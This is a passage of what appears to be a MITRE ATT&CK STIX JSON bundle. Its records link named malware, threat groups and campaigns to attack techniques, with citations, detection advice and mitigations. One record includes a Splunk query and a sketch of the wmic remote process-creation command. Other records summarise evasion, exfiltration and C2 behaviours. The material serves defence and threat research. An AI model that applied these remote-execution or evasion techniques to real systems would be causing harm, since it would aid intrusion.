communications.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d40698cf-d988-4da5-9d45-6056b47bc055","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d40b183e-3714-4e2c-a738-caff2db7054a","type":"relationship","created":"2020-10-20T15:52:49.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:26:23.089Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d40daa58-ca17-400c-b488-4508775e55e7","created":"2024-06-10T19:48:50.980Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:48:50.980Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) generates a random port number greater than 30,000 to serve as the listener for subsequent command and control activity.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-18T16:05:23.339Z","description":"[RTM](https://attack.mitre.org/software/S0148) can check for specific files and directories associated with virtualization and malware analysis.(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d421d0ce-6821-4d06-9249-214daacac1b0","created":"2023-02-15T16:57:11.500Z","revoked":false,"external_references":[{"source_name":"Joint CSA AvosLocker Mar 2022","description":"FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.","url":"https://www.ic3.gov/Media/News/2022/220318.pdf"},{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:57:11.500Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has enumerated shared drives on a compromised network.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Joint CSA AvosLocker Mar 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4221b38-c9cf-4773-9a49-afa7b07b917a","type":"relationship","created":"2021-10-12T12:54:06.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-12T12:54:06.984Z","description":"[Seth-Locker](https://attack.mitre.org/software/S0639) can encrypt files on a targeted system, appending them with the suffix .seth.(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--f931a0b9-0361-4b1b-bacf-955062c35746","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4231fe6-3a2d-45b7-bb71-68f285373a41","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:57:59.661Z","description":"Monitor for newly constructed processes and/or command-lines of \"wmic”. If the command line utility wmic.exe is used on the source host, then it can additionally be detected on an analytic. The command line on the source host is constructed into something like wmic.exe /node:\"\\\" process call create \"\\\". It is possible to also connect via IP address, in which case the string \"\\\" would instead look like IP Address. Processes can be created remotely via WMI in a few other ways, such as more direct API access or the built-in utility PowerShell.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process access) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nBesides executing arbitrary processes, wmic.exe can also be used to executed data stored in NTFS alternate data streams [NTFS File Attributes](https://attack.mitre.org/techniques/T1564/004).\nLooks for instances of wmic.exe as well as the substrings in the command line:\n- process call create\n- /node:\n\nAnalytic 1 - Detect wmic.exeprocess creation with command lines containing process call create or /node:.\n\n index=security sourcetype=\"WinEventLog:Security\" \n(EventCode=4688 OR EventCode=4656 OR EventCode=4103 OR EventCode=800) \n| eval command_line = coalesce(CommandLine, ParentCommandLine) \n| where (ProcessName=\"wmic.exe\" AND (command_line LIKE \"%/node:%\" OR command_line LIKE \"%process call create%\"))\nOR (command_line LIKE \"*Invoke-WmiMethod*\" OR command_line LIKE \"*Get-WmiObject*\" OR command_line LIKE \"*gwmi*\" OR command_line LIKE \"*win32_process*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4240d9a-1499-4863-a654-a52a1dbf48b4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-17T02:29:15.966Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) decodes Base64 strings and decrypts strings using a custom XOR algorithm.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d42a4f15-98c5-43df-9e25-7455a764070d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.435Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses PowerShell scripts for execution.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d42b9304-293a-4b95-a946-dcda81be5c87","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"}],"modified":"2019-07-14T21:04:44.726Z","description":"[Turla](https://attack.mitre.org/groups/G0010) attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d42cdf33-c3c1-4546-9a4f-40f6f64cd524","type":"relationship","created":"2020-05-06T21:01:23.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.663Z","description":"[Attor](https://attack.mitre.org/software/S0438)’s plugin deletes the collected files and log files after exfiltration.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d42d35c6-de42-4a3b-ada1-da6e87023192","type":"relationship","created":"2020-02-18T16:39:06.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"url":"https://technet.microsoft.com/en-us/library/bb490994.aspx","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","source_name":"Microsoft runas"}],"modified":"2020-03-26T21:29:18.782Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d430bf8d-cbe9-4f0d-8040-7f7d66fcc204","created":"2023-08-17T19:16:31.810Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:16:31.810Z","description":"(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d432f9c7-1211-4485-bac3-b35edc38d501","type":"relationship","created":"2020-07-04T23:30:04.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureWorks Mia Ash July 2017","description":"Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.","url":"https://www.secureworks.com/research/the-curious-case-of-mia-ash"},{"source_name":"Microsoft Phosphorus Mar 2019","url":"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/","description":"Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020."},{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}],"modified":"2021-09-30T19:22:48.483Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.(Citation: SecureWorks Mia Ash July 2017)(Citation: Microsoft Phosphorus Mar 2019)(Citation: ClearSky Kittens Back 3 August 2020)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d43315b0-d708-4197-b3ed-0a0b1199e434","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-16T23:58:58.750Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d433a8af-05f0-4766-adb5-abc63f9bf1b9","created":"2024-09-06T21:55:10.959Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:55:10.959Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [Rclone](https://attack.mitre.org/software/S1040) to exfiltrate information from victim environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d434a3c1-8960-4d47-80fc-e3002c507d94","type":"relationship","created":"2021-09-22T21:17:31.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-23T13:45:55.732Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) can execute Powershell commands sent from its C2 server.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d452da85-b408-458f-ad25-937605de4611","type":"relationship","created":"2021-01-05T14:58:55.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2021-01-05T14:58:55.260Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Amazon Web Services to host C2.(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4545a14-77d8-4662-a773-648103524097","created":"2024-08-14T22:28:23.140Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:28:23.140Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has used phishing with malicious attachments for initial access to victim environments.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d456bea1-f43c-4934-91fe-54459842f1b2","type":"relationship","created":"2020-09-11T14:56:37.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:11:28.365Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can self delete its dropper after the malware is successfully deployed.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d45bcd1f-4f6e-4ff0-9bad-36cf43ab2df5","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts and/or using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML). Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the credentials.(Citation: Microsoft SolarWinds Customer Guidance)","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"},{"source_name":"Microsoft SolarWinds Customer Guidance","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}]},{"type":"relationship","id":"relationship--d45c5aa0-8f47-4ccc-b78f-48391d41ecc6","created":"2024-03-05T21:27:45.739Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T21:27:45.739Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used compromised VPN accounts for lateral movement on targeted networks.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d45cd2ee-f0f6-417a-98c2-9a7e9f6dc480","created":"2021-01-20T18:30:30.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.430Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has utilized various scans and queries to find domain controllers and remote services in the target environment.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d45fe5a0-f9e5-4f05-b40b-8693c8eab0f7","created":"2022-10-13T14:47:33.362Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:47:33.362Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can delete its persistence mechanisms from the registry.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d45ff9eb-aca1-4bda-b5a8-fd4034ac8f1e","created":"2020-12-14T17:34:58.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 